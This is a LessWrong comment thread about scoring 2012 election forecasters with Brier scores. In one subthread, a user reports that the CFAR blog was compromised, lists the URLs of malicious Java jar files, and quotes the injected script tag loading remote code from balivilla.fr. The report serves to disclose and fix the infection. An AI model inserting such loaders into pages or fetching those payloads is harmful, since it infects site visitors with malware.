lukeprog comments on [LINK] "Prediction Audits" for Nate Silver, Dave Weigel - Less Wrong

12 Post author: orthonormal 30 December 2011 09:07PM

You are viewing a comment permalink. View the original post to see all comments and the full post content.

Article Navigation

Comments (18)
Tags: prediction

Comments (18)

You are viewing a single comment's thread. Show more comments above.

Comment author: lukeprog 08 November 2012 01:37:37AM *  3 points [-]

Update: Gwern is working on this with me. The result will be a CFAR blog post.

Comment author: gwern 09 November 2012 12:39:17AM *  2 points [-]
Comment author: arundelo 09 November 2012 01:22:56AM 2 points [-]

When I go to that post on the CFAR site I get a popup window that says:

Security Warning
Do you want to run this application?
Name: Java(TM) Platform SE Auto Updater
Publisher: UNKNOWN
From: http://barbarie.ch

If I hit cancel it goes away and immediately returns. I'm using Firefox 16.0.2.

Comment author: arundelo 09 November 2012 01:31:46AM *  3 points [-]

Looks like the whole blog part of the site is infected.

Edit: I can't pinpoint where the infection is and I can't duplicate it on another computer, but in case it helps, here are the URLs of the jar files it's trying to run:

<http://barbarie.ch/pix/jar/java7.jar?r=1069897>
<http://barbarie.ch/pix/jar/javab.jar?r=313862>
<http://barbarie.ch/pix/jar/amor1.jar>
<http://barbarie.ch/pix/jar/amor2.jar>
<http://barbarie.ch/pix/jar/amor3.jar>
<http://barbarie.ch/pix/jar/amor4.jar>
<http://barbarie.ch/pix/jar/amor5.jar>
<http://barbarie.ch/pix/jar/amor6.jar>
<http://barbarie.ch/pix/jar/amor7.jar>

I'm also putting a link to this info in the "Contact the CFAR Staff" form on the site.

Comment author: lukeprog 09 November 2012 02:55:10AM 1 point [-]

Thanks. We have someone looking at it now.

Comment author: arundelo 09 November 2012 03:37:59AM 1 point [-]

In case they haven't found it yet, it looks like the code that sets the mischief in motion is the following:

<div class="textwidget"><p><script type="text/javascript" src="<http://www.balivilla.fr/jquery.php>"></script></p>

(LW's Markdown processor may add angle brackets around the URL that aren't really there.)

Comment author: lukeprog 09 November 2012 04:24:31AM 0 points [-]

Thanks; I believe it's now fixed.

Comment author: aaronsw 09 November 2012 01:45:41AM 0 points [-]

Why doesn't Jackman get a Brier score? He claims it's .00991: http://jackman.stanford.edu/blog/?p=2602

Comment author: gwern 09 November 2012 02:19:36AM *  2 points [-]

Jackman only just released his data now (after twittering with me, incidentally, I was able to explain why his R Brier score wasn't matching his hand-calculated Brier score) because he forgot to send it to me last night; and I'm running on fumes - we started this project from scratch yesterday at 5PM and I've been working on it ever since. EDIT: Looks like all the kerfluffle of new Brier/RMSE scores prodded Sam Wang into releasing his precise predictions too! Neat. EDITEDIT: I've gotten Jackman's data, incorporated it, discovered an error in my own data, differed with Jackman, learned he regarded 5 states as such a sure thing he didn't include probabilities while I had simply put in NAs, and now we've converged on his Brier score. Phew! His current Brier score is 0.009713686, a bit worse than Silver's 0.009113725, and both seem to be outperformed by Drew Linzer's 0.003843257. Wang seems to've released the data, but the CSV is unlabeled and I have no idea what half the columns mean...

I'd also like to include a random-guesser equivalent for RMSE... Tomorrow.

Comment author: gwern 09 November 2012 09:05:05PM 0 points [-]

A better Brier random guesser and its RMSE equivalent are now in the R doc and hopefully the blog post will be updated shortly.

Comment author: lukeprog 09 November 2012 02:00:00AM 0 points [-]

We only included people whose Brier scores we could calculate ourselves. We plan to add Jackman when we get his data.

Comment author: aaronsw 09 November 2012 01:44:25AM 1 point [-]

Apparently a team at Penn is doing this as well:

http://jackman.stanford.edu/blog/?p=2602

Powered by Reddit Powered by Reddit